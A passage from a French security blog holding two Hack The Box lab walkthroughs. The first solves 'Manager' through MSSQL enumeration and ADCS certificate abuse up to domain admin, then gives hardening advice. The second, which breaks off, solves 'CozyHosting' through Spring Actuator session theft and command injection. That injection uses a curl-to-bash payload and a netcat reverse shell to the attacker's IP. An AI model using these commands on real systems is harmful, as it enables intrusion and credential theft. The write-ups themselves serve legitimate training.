Dans un contexte réaliste, il faut être très vigilant lors de la réalisation d'une authentification avec un compte utilisateur. La réalisation de quelques tentatives d'authentification infructueuses peut bloquer le compte utilisateur pendant plusieurs minutes et perturber un service ou l'activité de l’utilisateur. Avant toute opération, il est nécessaire au minimum de connaitre la politique de mot de passe et de verrouillage en place. La difficulté principale étant que cet élément n'est récupérable qu'en étant authentifié.

Via une attaque de type user as pass, nous sommes sûrs de réaliser qu'une seule tentative d'authentification par compte, les chances de verrouillage sont donc bien moindres.

Notre attaque nous a permis de découvrir que le compte "operator" utilise également "operator" comme mot de passe. Cela est loin d'être rare dans un contexte réalise et c'est d'autant plus le cas pour les comptes non nominatifs comme les comptes de tests ou de service ("formation", "scan", "accueil", "test2023", etc.).

Nous sommes à présent authentifiés sur le domaine ! Il s'agit d'une grande avancée puisque cela nous permet de récupérer un (très) grand nombre d'informations à propos de celui et des différents objets qu'il gère. Nous allons à présent tenter de nous authentifier avec ce compte sur tous les services exposés par le système cible :

Technique d'attaque (MITRE ATT&CK) : T1021 - Remote Services

$ impacket-mssqlclient -windows-auth operator:[email protected]
SQL (MANAGER\Operator  guest@master)>

Succès ! Nous avons donc découvert un compte utilisateur du domaine qui a la permission de s'authentifier sur le service de base de données MSSQL. À partir de cet accès, tentons de découvrir les possibilités qui s'offrent à nous. Exploitation d'une version obsolète, vol de données sensibles, exécution de commande ?

Technique d'attaque (MITRE ATT&CK) : T1505.001 - Server Software Component: SQL Stored Procedures

Après plusieurs tentatives d'énumération, je découvre notamment que beaucoup d'instruction permettant classiquement l'exécution de commande ne sont pas autorisées pour mon utilisateur. Une exception apparait cependant parmi les nombreux cas d'usage de ma todo-list: "EXEC xp_dirtree" :

SQL (MANAGER\Operator  guest@master)> select @@version;

Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) 
        Sep 24 2019 13:48:23 
        Copyright (C) 2019 Microsoft Corporation
        Express Edition (64-bit) on Windows Server 2019 Standard 10.0 <X64> (Build 17763: ) (Hypervisor)

SQL (MANAGER\Operatorest@master)> EXEC xp_dirtree 'C:\inetpub\wwwroot', 1, 1

Cette commande permet de lister le contenu d'un répertoire du système :

Technique d'attaque (MITRE ATT&CK) : T1083 - File and Directory Discovery

about.html
contact.html
css
images
index.html
js
service.html
web.config
website-backup-27-07-23-old.zip

Dans le résultat du listing du contenu du répertoire web, on découvre notamment une archive ZIP oubliée (un cas bien plus classique que l'on pourrait le croire). Cela signifie que cette archive est téléchargeable depuis le service web exposé, il suffisait de trouver son nom, ce qui est chose faite à présent.

Technique d'attaque (MITRE ATT&CK) : T1552.001 - Unsecured Credentials: Credentials In Files

$ wget http://10.10.11.236/website-backup-27-07-23-old.zip
$ unzip website-backup-27-07-23-old.zip
$ cat .old-conf.xml 
[...]
         <user>[email protected]</user>
         <password>R4v3nBe5tD3veloP3r!123</password>

À l'intérieur de l'archive se trouve notamment un fichier XML contenant des identifiants utilisateur. Encore une fois, il va être important ici de tenter ces identifiants sur tous les services exposés. Il peut s'agir d'un compte ayant des droits d'accès à un nouveau partage SMB, ou au service MSSQL avec l'accès à des commandes ou base de données supplémentaires, etc.

Technique d'attaque (MITRE ATT&CK) : T1021.006 - Remote Services: Windows Remote Management

$ evil-winrm -i 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123'
*Evil-WinRM* PS C:\Users\Raven\Desktop> type user.txt
14895a[REDACTED]5846a502

Cet utilisateur nous permet l'accès au service WinRM du système !

L'accès au service WinRM est le résultat de l'assignation de permissions spécifiques à cet utilisateur ou de l'appartenance à un groupe de permissions (généralement Remote Management Users). Lors d'une intrusion, l'attaquant cherchera à cibler des utilisateurs avec ce genre de permissions spéciales, car ils seront certains d'obtenir par la suite un accès interactif à des systèmes.

C. ADCS : Manipulation des certificats

Parmi la très longue liste des éléments à étudier pour un attaquant lorsqu'il parvient à obtenir un accès authentifié à un domaine Active Directory figure les templates de certificats et la configuration du service ADCS. De nombreuses attaques et outils d'exploitation ont été rendus publiques en 2021 par SpectorOps à ce sujet.

Active Directory Certificate Services est un service Windows Server facilitant la création, la distribution et la gestion de certificats numériques. Les certificats générés par ADCS sont utilisés pour sécuriser les communications en chiffrant les données, authentifier les utilisateurs, garantir l'intégrité des données, permettre des connexions sécurisées au sein du domaine, etc.

Il s'agit tout simplement de la PKI (Public Key Infrastructure) de votre domaine, en gardant à l'esprit qu'un certificat permet également l'authentification, il s'agit d'une cible de choix pour un attaquant.

Nous pouvons commencer par nous assurer qu'un service ADCS existe bien sur le domaine cible, cela à distance depuis Linux à l'aide de l'outil "netexec" :

Ici, "netexec" nous confirme bien que le serveur "DC01.manager.htb" est également le service ADCS du domaine. À présent, nous pouvons tenter d'énumérer les templates de certificats existants au sein de ce service. L'ADCS permet l'émission de certificats avec des paramètres pré-définis grâce à des objets AD appelés template, ou modèles de certificat. Ces templates sont des ensembles de politiques d'inscription et de paramètres de certificat qui contiennent des informations telles que l'usage pouvant être fait du certificat, son temps de validité, qui peut demander la génération d'un certificat, pour quel type d'objet, etc.

Vous pouvez voir la gestion, création et détention d'un certificat comme le cas des badges d'accès dans un bâtiment sécurisé. Les agents d'accueil peuvent créer des badges pour des visiteurs ? Mais peut-être pas pour tous les étages ? Existe-t-il une borne de self-enrollement pour tous les visiteurs ? À quels étages peuvent-ils eux-mêmes se donner accès ? Est-ce qu'un agent d'accueil peut se créer un badge au nom du PDG ? Qui génère le badge des agents d'accueil ? Toutes ces questions peuvent être mises en parallèle avec les attaques sur ADCS.

L'outil "Certipy" peut notamment être utilisé pour découvrir ces configurations de templates, exemple :

pip3 install certipy-ad
certipy-ad find -u '[email protected]' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -stdout

Voici un extrait du résultat de la commande "certipy-ad" :

L'outil nous a permis de lister la configuration de 33 templates, dont 11 activés. Nous voyons ensuite un bout de la configuration de l'autorité de certification. Entre autres, nous pouvons nous intéresser à la configuration du template 0, histoire de voir ce que cette configuration peut nous apprendre :

Ce template se nomme "KerberosAuthentication", nous voyons notamment que les certificats générés à l'aide de ce template peuvent être utilisés pour l'authentification client ("Client Authentication : True"), mais aussi pour l'authentification côté serveur ("Extended Key usage: Server Authentication") par exemple. La section "Permissions" nous intéresse particulièrement puisqu'elle permet de savoir qui peut utiliser ce template pour enroller (générer) un certificat. Ici, que des membres des groupes "administrateurs".

Si l'on revient au résultat initial, on peut constater que "certipy-ad" nous a indiqué avoir trouvé une configuration dangereuse lors de l'affichage de la configuration de l'autorité de certification :

Au travers l'analyse automatique de la configuration, il semble que l'attaque ESC7 soit exploitable sur ce service ADCS.

Le terme "ESC" fait ici référence à "Escalation". Il s'agit d'une nomenclature choisie par les SpecterOps pour identifier les différentes faiblesses de configuration, et donc attaques, liées à l'AD-CS. Il en existe aujourd'hui 14 (de ESC1 à ESC14 donc). Pour aller en détail sur chacune des exploitations, je vous oriente vers Hacktrickz

ESC7 est donc le cas d'une configuration trop permissive donnée à un utilisateur ou un groupe d'utilisateurs sur l'autorité de certification elle-même.

Comme tout objet AD, l'autorité de certification possède des ACL (Access-Controle List) afin de gérer les actions réalisables par d'autres objets (utilisateurs, groupes, ordinateurs, etc.). Les deux droits principaux ici sont le droit "ManageCA" (« Administrateur CA » ) et le droit "ManageCertificates" ( « Gestionnaire de certificats ».). Si un attaquant prend le contrôle d'un utilisateur qui possède ces droits (ici : "raven"), il pourra alors approuver les demandes de certificat en attente.

Technique d'attaque (MITRE ATT&CK) : T1649 - Steal or Forge Authentication Certificates

L'exploitation de cette vulnérabilité repose sur le fait que les utilisateurs disposant de ces droits peuvent émettre des demandes de certificat, qui, même s'ils échoueront dans un premier temps, pourrons ensuite être approuvés grâce au droit "ManageCertificates".

Le modèle de certificat "SubCA" est par défaut vulnérable à ESC1, mais seuls les administrateurs peuvent utiliser ce template dans le modèle. Ainsi, un utilisateur peut toujours demander à s'inscrire à la "SubCA", ce qui sera refusé. Nous obtiendrons alors notre demande "en attente", qui nous approuverons ensuite avec l'utilisateur compromis ("raven"), qui possède les droits "ManageCertificates".

L'attaque ESC1 est l'un des cas de figure les plus simples. Il concerne les templates qui autorisent la prise en compte de l'attribut SAN (Subject Alternative Name). Celui-ci permet tout simplement à l'utilisateur à définir, en plus de son nom, d'autres noms pour lesquels le certificat sera valide (à tout hasard, administrateur). L'utilisateur demande alors un certificat qui sera valide pour l'utilisateur demandeur (Mickael) mais il inclut dans sa demande un champ supplémentaire disant : le certificat que tu vas me signer sera aussi valide pour "administrateur".

La simplicité de l'attaque est parfois difficile à cerner ("c'est aussi bateau que ça ?") : la réponse est oui.

Voici les pré-requis de l'attaque :

Nous disposons déjà de la permission "ManageCA" grâce à l'utilisateur "raven". Nous pouvons alors nous ajouter les droits "Manage Certificates" (nous sommes maitres de l'autorité de certification, logique que nous puissions nous ajouter les droits de gérer les certificats) :

$ certipy-ad ca -ca 'manager-DC01-CA' -add-officer raven -u [email protected] -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'Raven' on 'manager-DC01-CA'

Le pré-requis n°2 est également atteint, retournons dans notre énumération des templates pour voir si le pré-requis 3 l'est aussi (template "SubCA" activé) :

Tous nos prérequis sont là. Nous pouvons commencer par demander un certificat basé sur le template "SubCA". Cette demande sera refusée, nous ne sommes pas membres des groupes autorisés à s'enroller (regardez le contenu de l'attribut "Enrollment Permissions"). Mais, nous obtiendrons tout de même une clé privée (générée par nous-même, pour notre demande) et notre ID de demande (notez l'option "-upn" dans laquelle nous indiquons le SAN à ajouter au certificat) :

certipy-ad req -ns 10.10.11.236 -ca 'manager-DC01-CA'  -template SubCA -u [email protected] -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -upn [email protected]

Ici, nous venons de demander à l'autorité de certification la création d'un certificat pour l'utilisateur "[email protected]" (grâce à l'attribut SAN) en utilisant le template "SubCA". Vous noterez que bien que ce template soit activé, notre utilisateur ("raven") n'est pas membre des groupes autorisés à utiliser ce template. La demande est donc refusée. Avec nos permissions "ManageCA" et "ManageCertificates", nous pouvons ensuite approuver la demande de certificat ayant échoué avec la commande suivante :

$ certipy-ad ca -ca 'manager-DC01-CA' -issue-request 14  -u '[email protected]' -p 'R4v3nBe5tD3veloP3r!123'  -dc-ip 10.10.11.236                                                                                                          
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate

Et enfin, nous pouvons récupérer le certificat émis avec la commande "req" et le paramètre "-retrieve" :

certipy-ad req -ca 'manager-DC01-CA' -target dc01.manager.htb  -template SubCA -u [email protected] -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -retrieve 14

Nous pouvons à présent récupérer le hash NTLM de l'administrateur du domaine en utilisant ce certificat. Il faut pour cela demander un TGT via PKINIT (extension Kerberos prenant en compte les certificats), une fonctionnalité de "backup" y a été ajoutée pour permettre l'authentification sur les services/OS ne prenant pas en compte Kerberos.

Technique d'attaque (MITRE ATT&CK) : T1021.006 - Remote Services: Windows Remote Management

Avec le hash du compte "administrator", nous pouvons effectuer une authentification via la technique pass-the-hash :

$ evil-winrm -i $IP -u administrator -H ae5064c2f62317332c88629e025924ef
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
42fabc6[REDACTED]0ff4d

Nous sommes désormais administrateur du contrôleur de domaine, nous avons les clés du royaume !

III. Résumé de l'attaque

Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du framework MITRE ATT&CK :

TTP (MITRE ATT&CK)	Détails
T1046 - Network Service Discover	Réalisation d'un scan réseau via "nmap" et découverte de multiple services
T1087.002 - Account Discovery: Domain Account	Enumération d'utilisateur via "kerbrute" et la wordlist "statistically-likely-usernames"
T1110.001 - Brute Force: Password Guessing	Attaque "user as pass" sur les comptes du domaine découverts via "netexec", découverte d'identifiants valides
T1021 - Remote Services	Authentification sur le service MSSQL avec le compte "operator" compromis
T1505.001 - Server Software Component: SQL Stored Procedures	Exécution de commande partielle MSSQL
T1083 - File and Directory Discovery	Découverte des fichiers locaux du serveur Windows via MSSQL et exfiltration d'une archive ZIP depuis la racine du service web
T1552.001 - Unsecured Credentials: Credentials In Files	Découverte d'identifiants de l'utilisateur du domaine "raven" dans l'archive ZIP exfiltrée
T1021.006 - Remote Services: Windows Remote Management	Authentification via winRM et LDAP, puis découverte du service AD-CS via "Certipy"
T1649 - Steal or Forge Authentication Certificates	Utilisation de Ccertipy" pour forger un certificat valide pour le compte administrateur du domaine via ESC7, puis ESC1
T1021.006 - Remote Services: Windows Remote Management	Authentification avec le compte administrateur du domaine

IV. Notions abordées

A. Côté attaquant

Les premières étapes de compromission de ce serveur sont (hélas) très réalistes. Il est étonnant de voir que la plupart des vulnérabilités sur un domaine proviennent de négligences humaines. Ce genre d'attaque et d'énumération sont à ne jamais oublier sur un domaine. Il faut également savoir adapter ses dictionnaires (et plus largement ses outils) en fonction du contexte métier ou de la langue de la cible.

Nous avons vu lors de l'exploitation du service MSSQL que connaitre ou savoir se documenter rapidement sur les commandes et fonctionnalités natives qui permettent une exploitation est un atout. Ici la commande utilisée ("xp_dirtree") est totalement native à MSSQL, le fait le compte compromis puisse l'utiliser est une faiblesse probablement due à des droits trop permissifs, mais c'est ce qui nous a permis de compromettre le serveur. Sur chaque service de base de données, voir chaque version, il existe des commandes comme celles-ci qui permettent d'écrire ou lire des données sur le serveur, voire exécuter des commandes. Difficile de tout retenir, il faut plutôt opter pour une documentation personnelle ou une banque de liens externes pour être sûr de rester à jour et d'avoir tout sous la main lorsque l'on en aura besoin.

L'attaque sur ADCS est bien entendu ce qui vaut à cette box la notation "Medium" à mon sens. Il faut ici avoir de bonnes notions de l'aspect métier et fonctionnels d'une PKI pour ensuite comprendre l'attaque à réaliser. Cela nous permet de rappeler qu'avant d'apprendre à attaquer, il faut connaitre les bases de l'administration système, de la cryptographie et du développement. Également, il serait difficile de trouver ce genre de vulnérabilité sur un service aussi spécifique qu'ADCS seul sans y passer des dizaines d'heures. Les attaques sur ADCS ont été rendues publiques en 2021 et il fallait bien entendu assurer sa veille technologique afin d'inclure ses faiblesses dans notre méthodologie d'audit d'environnement AD. Pour la pratique, je vous conseille bien sûr cette box Hack the box, mais aussi le lab Try Hack Me suivant : AD Certificate Templates

B. Côté défenseur

Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :

Recommandation n°1 : il est recommandé de mettre en place une politique de mot de passe robuste interdisant notamment les mots de passe faibles avec un seul alphabet ou le "user as pass". L'application de cette recommandation doit notamment se baser sur le document Recommandations relatives à l'authentification multifacteur et aux mots de passe de l'ANSSI. Côté détection, il est recommandé de surveiller les journaux d'authentification pour détecter les échecs de connexion au niveau du domaine. Si les échecs d'authentification sont nombreux sur une courte période de temps, il peut y avoir une tentative de force brute en cours. Le centralisation des logs et l'utilisation d'un SIEM peuvent ici grandement aider.

Recommandation n°2 : nous pouvons également recommander de supprimer l'archive ZIP située à la racine du service web. Les archives contiennent souvent des données sensibles (configurations, mots de passe) et leur place n'est pas sur un service web accessible sans authentification. Il est recommandé de les stocker dans un emplacement sécurisé, accessible uniquement par des utilisateurs authentifiés. Pour aller plus loin, nous pouvons également recommander de stocker les archives de configuration et de code source de façon chiffrée et, en complément, de durcir la configuration du service web pour interdire l'accès aux fichiers de backup (.zip, .tar, etc.) directement dans la configuration Apache.

Recommandation n°3 : il peut être recommandé d'améliorer la sécurité du service ADCS. De multiples bonnes pratiques existent à ce sujet, mais doit en premier lieu être effectuée une revue des ACL sur les templates de certificats et sur l'autorité de certification afin de s'assurer que seuls des groupes légitimes sont autorisés à y effectuer des actions sensibles. De manière générale, il est d'ailleurs toujours recommandé de passer par des groupes pour l'attribution des droits que l'attribution directe à un utilisateur.

Recommandation n°4 : il est recommandé d'appliquer une séparation stricte des usages sur les services du système d'information. Les services de base de données et de gestion des certificats répondent à des fonctions métiers et de sécurité différents et doivent être positionnés sur des serveurs distincts. Cela afin de rendre plus difficile pour un attaquant la propagation de sa compromission d'un service à l'autre. Pour aller plus loin, il est recommandé de consulter le document La défense en profondeur appliquée aux systèmes d’information de l'ANSSI. (Soyons francs, cette recommandation est plutôt pour le principe, les services sont ici mutualisés sur un même serveur, car Hack The Box ne propose qu'une machine à la fois :D. Mais consultez quand même ce document, très intéressant ! ).

J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord!

Enfin, si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points ) : Tester Hack the Box Academy

The post Hack The Box – Résoudre la box Manager : outils, méthodes et recommandations pour se protéger first appeared on IT-Connect.

I. Présentation

Dans cet article, je vous propose la résolution de la machine Hack The Box CozyHosting, de difficulté "Facile".

Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelées "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.

Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs

Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.

Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".

Technologies/attaques abordées	Linux, Web, Springboot, PostgreSQL, RCE (Remote Command Execution), Vol de session, sudo escape
Outils utilisés	nmap, ssh, curl, nuclei, psql, johntheripper, sudo

Retrouvez tous nos articles Hack The Box via ce lien :

• IT-Connect - Articles Hack The Box

II. Résolution de la box CozyHosting

A. Découverte et énumération

Pour l'instant, nous ne disposons que de l'adresse IP de notre cible. Commençons par un scan réseau à l'aide de l'outil nmap pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.

Technique d'attaque (MITRE ATT&CK) : T1046 - Network Service Discovery

$ nmap --max-retries 1 -T4 -sS -A -v --open -p- -oA nmap-TCPFullVersion 10.10.11.230  
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)

Un service SSH et un service web sont accessibles, assez classique pour le moment.

B. Configuration Springboot

Technique d'attaque (MITRE ATT&CK) : T1595 - Active Scanning: Vulnerability Scanning

Le site web exposé par le service web est un simple site vitrine :

Je commence par lancer l'outil nuclei qui va automatiser certaines tâches de découverte relatives à des CVE, framework ou mauvaises configuration spécifiques :

Le scanner web nuclei est toujours intéressant à utiliser, quelque soit votre niveau en test d'intrusion. Il est certes loin de proposer un audit complet d'une application web, mais permet de scanner vos sites web pour un diagnostic rapide et dégrossir rapidement un test d'intrusion en boite noire. Son fonctionnement par module communautaire et très complet pour un outil open source et il renvoie rarement de faux positifs.

Assez rapidement, celui-ci découvre plusieurs points d'entrées relatifs à Springboot. Il s'agit d'un projet du framework Spring qui fournit un ensemble d'outils et de conventions pour faciliter la création de services web, d'applications back-end et de microservices. Il vise à rendre le développement d'applications basées sur Spring plus rapide et facile.

Springboot Actuator est un ensemble de fonctionnalités permettant de surveiller les applications, de collecter des métriques et comprendre le trafic ou l'état de la base de données. Il s'agit plus précisément d'une dépendance utilisée par les développeurs qui utilisent ce framework de développement. Tout cela semble fort intéressant pour un développeur, mais est-ce qu'un visiteur externe a besoin d'y accéder ? La réponse est probablement non.

Technique d'attaque (MITRE ATT&CK) : T1190 - Exploit Public-Facing Application

En étudiant les possibilités et point d'entrés d'Actuator, on remarque vite qu'il peut fournir à celui qui y accède un grand nombre d'informations sur l'application qu'il gère ou le serveur qui l'héberge. Le point d'entrée "/actuator/mappings" liste tous les points d'entrés disponibles :

On remarque notamment le point d'entrée "/actuator/session", toujours intéressant pour un visiteur anonyme :

$ curl http://cozyhosting.htb/actuator/sessions
{"7DA0F441BD57DB10A6D3E7F9DC07A2B0":"kanderson","C74E35728DE7EB32CB9F8F742A68CC7A":"kanderson","C6713C8621A4A5576FD206A0E0E00B28":"kanderson","1040C845B8DF19E4DFC2415898377302":"UNAUTHORIZED"}

Sans aucune authentification et en quelques requêtes, nous parvenons à récupérer un jeton de session valide sur la plateforme ciblée.

Lors d'une authentification réussie, l'application web fournit, en échange de la preuve (mot de passe) de l’identité déclarée (login), un jeton de session. Cela évite ainsi à l'utilisateur de s'authentifier sur chaque changement de page. Ce jeton de session sera unique par utilisateur et pour chaque connexion, avec une durée de vie limitée. Ainsi, le fait de fournir cette donnée unique à chaque requête plutôt que nos identifiants, permet au serveur de suivre notre session et de nous maintenir authentifié lors de la navigation.

Sur l'application web, on remarque notamment que si l'on tente une authentification sur la page "/login", un "JSESSIONID" nous est attribué :

Le menu que vous voyez apparaitre en bas de la capture d'écran ci-dessus est la barre développeur de Firefox. Il s'agit d'un outil présent sur tous les navigateurs récents. Elle propose un ensemble d'outils intégrés permettant aux développeurs web d'inspecter et de déboguer les pages et les échanges, ainsi que d'analyser les performances du site en temps réel. Elle offre des fonctionnalités telles que l'inspection d'éléments HTML, la modification en direct du CSS, le débogage JavaScript, le suivi du réseau et la mesure des performances.

Cela nous permet d'obtenir le nom du cookie à utiliser, il faut ensuite remplacer son contenu par l'un des jetons de l’utilisateur "kanderson" récupéré plus haut.

Après modification de notre cookie, nous devons rafraichir la page pour que le serveur web comprenne que nous sommes authentifiés. Nous voilà ainsi sur le point d'entrée "/admin" en tant que l'utilisateur "K. Anderson". Nous venons d'effectuer un vol de session ! Sans connaissance du mot de passe de l'utilisateur, nous récupérons l'élément qui permet à l'application web de suivre sa session.

C. RCE (Remote Commande Execution)

Nous pouvons à présent parcourir l'espace authentifié de l'application web. Cette fonctionnalité parait notamment intéressante :

Visiblement, nous pouvons spécifier un nom d'hôte et un nom d'utilisateur pour que l'application web s'y connecte. Autre fait intéressant, si l'on saisie des données qui ne sont pas conformes à ce que pourrait attendre ce genre de fonctionnalité, le contenu de l'aide de la commande SSH est retourné par l'application web :

Cela indique explicitement qu'une commande système est exécutée à l'aide des informations que nous saisissons.

Lorsque de la réalisation d'une attaque sur une application web, la saisie de données non conformes ou mal formatées est l'une des opérations de base à réaliser. Cela permet de voir si l'application web ciblée a été correctement développée afin de gérer les entrées utilisateurs, et notamment de s'assurer que celles-ci sont conformes à ce qui est attendu d'un point de vue logique (présence de caractères spéciaux dans un nom de domaine ?) ou métier (l'adresse mail saisie existe-t-elle vraiment ? Prix négatif ?).

L'objectif de l'attaquant est alors de tenter de faire apparaitre des erreurs, parfois verbeuses, pouvant faire fuiter des informations (framework/technologie utilisée, contexte d'exécution) ou trahir un manque de filtrage ou de contrôle des entrées utilisateur.

Ainsi, nous savons à présent que nos entrées sont insérées dans une commande système (Bash), et non plus simplement dans une variable d'un langage de développement web (PHP, Java, autre) ou une base de données. C'est une information très intéressante pour un attaquant, car s'il parvient à manipuler correctement cette commande, il pourra exécuter ses propres commandes sur le système.

Supposons que nos entrées "host" et "username" soient insérées dans une commande SSH comme celle-ci :

ssh username@host

Alors, nous pourrions insérer n’importe quelle commande dans cette commande SSH à l'aide d'une variable "host" comme celle-ci :

host = 127.0.0.1;whoami
username = john
ssh john@127.0.0.1;whoami

Tentons de vérifier notre hypothèse :

Cela ne fonctionne pas, l'application web semble vérifier la cohérence du paramètre "hostname" reçu. Voyons si c'est également le cas avec le "username" :

Si l'on regarde attentivement le message d'erreur, nous comprenons qu'il s'agit en fait de deux messages distincts. Cela valide notre supposition initiale, au moins pour le paramètre "username". Voici précisément ce que donne notre injection

ssh john;[email protected]

# Détail des message d'erreurs
ssh john # ssh : Could not resolve hostname john : Temporary failure in name resolution
[email protected] # /bin/bash: line1 : [email protected]: command not found

Étant donné que nous avons inséré un caractère de chainage de commande sous Linux (le point-virgule), nous avons maintenant deux commandes. Cependant, aucune des deux n'est réellement valide. Maintenant que nous avons validé la possibilité d'une injection de commande, nous devons produire quelque chose d'utile et de fonctionnel pour un attaquant. Au moins une de nos deux commandes doit pouvoir être exécutée sans erreurs.

Technique d'attaque (MITRE ATT&CK) : T1059.004 - Command and Scripting Interpreter: Unix Shell

Je décide d'utiliser pour cela une substitution de commande, qui permet sous Linux d'utiliser le résultat d'une commande comme argument pour une autre commande :

# Poste attaquant
# Création d'un script reverse shell
$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.162 9001 >/tmp/f"   > x

# Mise en en écoute d'un service web
python3 -m http.server

# Mise en écoute d'un netcat (port 9001)
$ nc -lvp 9001

Mon idée ici est de générer le téléchargement, puis l'exécution d'un script Bash qui contient des instructions pour monter un reverse shell en direction de mon système d'attaque.

Un reverse shell est une suite d'intrusion exécutée pour qu'un système compromis se connecte à un serveur distant contrôlé par l'attaquant, permettant ainsi à ce dernier d'obtenir un accès à distance à la machine compromise. Cette technique est souvent utilisée pour contourner les pare-feu et établir une communication secrète, rarement journalisée (à l'inverse d'une connexion SSH par exemple).

Voici la requête web utilisée pour l'exploitation :

POST /executessh HTTP/1.1
Host: cozyhosting.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 66
Origin: http://cozyhosting.htb
Connection: close
Referer: http://cozyhosting.htb/admin?error=Invalid%20hostname!
Cookie: JSESSIONID=10613C25E1495DF30F924F3A32433826
Upgrade-Insecure-Requests: 1

host=1.1.1.1&username=$(curl${IFS}http://10.10.14.162:8000/x|bash)

Ici, on voit la substitution à l'intérieur du "$( )". Le système Linux va d'abord "résoudre" cette substitution avant d'insérer le résultat de la commande dans le "username" de la commande SSH. Vous noterez également la présence d'un "${IFS}", qui permet d'insérer un espace sans utiliser l'espace. Ainsi, même si le "username" de la commande SSH est mal formaté et entraîne une erreur, la substitution sera exécutée avant et l'erreur de la commande SSH n'aura aucun impact sur mon exploitation.

Enfin, le fait d'utiliser "curl http://IP/script|bash" permet de télécharger et exécuter un script Bash sans dépôt sur le système. J'utilise cette astuce pour éviter de m'embêter avec les nombreux caractères spéciaux de ma commande reverse shell, qui peuvent être à manipuler correctement pour passer l'encodage/décodage par le client, le service et l'application web.

# Récepetion du reverse shell sur le poste attaquant
$ nc -lvp 9001
connect to [10.10.14.162] from cozyhosting.htb [10.10.11.230] 42102
app@cozyhosting:/app$ 

À présent, nous avons à notre disposition un shell interactif en tant que l'utilisateur "app" le serveur attaqué.

Nous venons de le voir, les attaque de type RCE (Remote Command Execution) sont parmi les plus critiques qui puissent exister au sein d'une application web. Elles permettent d'exécuter du code sur un serveur web qui héberge l'application web, avec les droits du service web. Ainsi, nous pouvons nous affranchir des limitations imposées par nos droits applicatifs ou les fonctionnalités de l'application.

D. Récupération d'identifiants

Nous avons un premier accès au serveur, pour aller jusqu'au bout, nous devons passer root ! Nous pouvons simplement commencer par quelques opérations de découverte basique sur le serveur :

• Quels sont nos droits et groupes ?

app@cozyhosting:/app$ id
id
uid=1001(app) gid=1001(app) groups=1001(app)

• Existe-t-il des services accessibles qu'en interne ?

netstat -petulan |grep "LISTEN" |grep "127.0.0"
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      102        21525      -
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      114        22278      -
tcp6       0      0 127.0.0.1:8080          :::*                    LISTEN      1001       23652      1065/java         

• Quels fichiers intéressants pouvons-nous lire ?

app@cozyhosting:/app$ ls -al
ls -al
total 58856
drwxr-xr-x  2 root root     4096 Aug 14 14:11 .
drwxr-xr-x 19 root root     4096 Aug 14 14:11 ..
-rw-r--r--  1 root root 60259688 Aug 11 00:45 cloudhosting-0.0.1.jar

• etc...

Technique d'attaque (MITRE ATT&CK) : T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol

Après quelques recherches, je découvre le fichier "cloudhosting-0.0.1.jar", il s'agit probablement du site web qui expose le site vitrine vu précédemment. Je décide de l'exfiltrer du serveur pour étude en local :

app@cozyhosting:/app$ python3 -m http.server 8123
python3 -m http.server 8123
10.10.14.162 - "GET /cloudhosting-0.0.1.jar HTTP/1.1" 200 -

# Poste d'attaque
$ wget http://10.10.11.230:8123/cloudhosting-0.0.1.jar

Technique d'attaque (MITRE ATT&CK) : T1552.001 - Unsecured Credentials: Credentials In Files

Une archive JAR est un conteneur de fichiers Java, regroupant des classes et des ressources, facilitant le déploiement et l'exécution d'applications Java. Elle permet de compresser et d'organiser des éléments liés au code source notamment pour favoriser la portabilité et la distribution des programmes .

Une simple recherche via grep dans les fichiers composants de l'archive ".jar" nous permet de retrouver des identifiants correspondants à une base de données :

$ unzip cloudhosting-0.0.1.jar -d cloudhosting
$ grep "passw" -ri cloudhosting -C3

BOOT-INF/classes/application.properties-spring.datasource.platform=postgres   
BOOT-INF/classes/application.properties-spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting 
BOOT-INF/classes/application.properties-spring.datasource.username=postgres   
BOOT-INF/classes/application.properties:spring.datasource.password=Vg&nvzAQ7XxR 

Technique d'attaque (MITRE ATT&CK) : T1078.003 - Valid Accounts: Local Accounts

